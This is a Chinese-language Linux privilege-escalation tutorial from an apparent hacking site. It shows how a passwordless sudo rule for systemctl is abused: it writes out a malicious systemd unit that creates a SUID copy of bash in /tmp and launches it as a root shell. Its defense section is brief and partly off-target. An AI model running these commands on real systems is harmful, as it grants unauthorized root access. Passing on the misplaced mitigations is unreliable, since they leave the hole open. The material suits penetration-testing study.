点击查看-X黑手网
点击查看-X黑手网
实战:Linux 提权教程:利用 systemctl 进行权限提升

实战:Linux 提权教程:利用 systemctl 进行权限提升

1. 简介

本教程演示如何利用 systemctl 的 sudo 权限配置不当,在 Linux 系统上实现提权(Privilege Escalation)。
适用环境:

CentOS 7.6(内核 4.19.0-6)

用户具有 sudo 权限运行 /bin/systemctl 且无需密码


2. 环境准备

2.1 检查系统信息 

cat /proc/version
cat /etc/redhat-release

输出示例:

Linux version 4.19.0-6.el7.ucloud.x86_64
 CentOS Linux release 7.6.1810 (Core)
 

fabfbd66eb6bc374b5a76cf9fcdf00e

2.2 检查当前用户权限

sudo -l

关键输出: 

用户 apps 可以在 uaccount3 上运行以下命令:
 (ALL) NOPASSWD: /bin/systemctl 
(ALL) NOPASSWD: /bin/whoami, /usr/bin/systemctl

image

✅ 发现可利用点:systemctl 可以无密码运行,且能管理所有服务。


3. 提权步骤

3.1 创建恶意 systemd 服务

在 /tmp/ 目录下创建 rootshell.service: 

cat > /tmp/rootshell.service << 'EOF' [Unit] Description=Root Shell [Service] Type=oneshot ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' RemainAfterExit=yes [Install] WantedBy=multi-user.target EOF

作用:

复制 /bin/bash 到 /tmp/rootbash

设置 SUID 权限(chmod +s),使普通用户执行时获得 root 权限


11183c1221fbc2bf47102f9d090e5d6

3.2 加载并启动服务

sudo /bin/systemctl link /tmp/rootshell.service 
sudo /bin/systemctl enable --now rootshell.service

预期输出:

Created symlink from /etc/systemd/system/rootshell.service to /tmp/rootshell.service.

3.3 验证提权

检查 /tmp/rootbash 是否生成并具有 SUID 权限:

ls -la /tmp/rootbash

预期输出:

-rwsr-sr-x 1 root root 1234567 Jun 24 12:34 /tmp/rootbash

执行提权 Shell:

/tmp/rootbash -p

预期结果:

[root@uaccount3 tmp]# whoami root

🎉 提权成功!


image

4. 防御措施

4.1 管理员如何防范?

限制 sudo 权限:

visudo

移除不必要的 NOPASSWD 权限。

监控 /tmp 目录:

chmod 1777 /tmp # 确保 sticky bit 启用

更新 systemd:

yum update systemd

4.2 普通用户如何保护自己?

避免使用弱密码

不随意执行未知脚本

定期检查 sudo -l 权限


5. 总结

本教程演示了如何利用 systemctl 的 sudo 权限配置不当进行提权。
关键点:

检查 sudo -l 发现可利用命令

创建恶意 systemd 服务

加载服务并获取 root Shell

⚠️ 注意:此方法仅用于授权测试,未经授权攻击系统是违法行为!


相关工具:

LinPEAS(自动化提权检测)

本文脚本下载


✅ 完成! 现在你已掌握如何利用 systemctl 进行提权。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容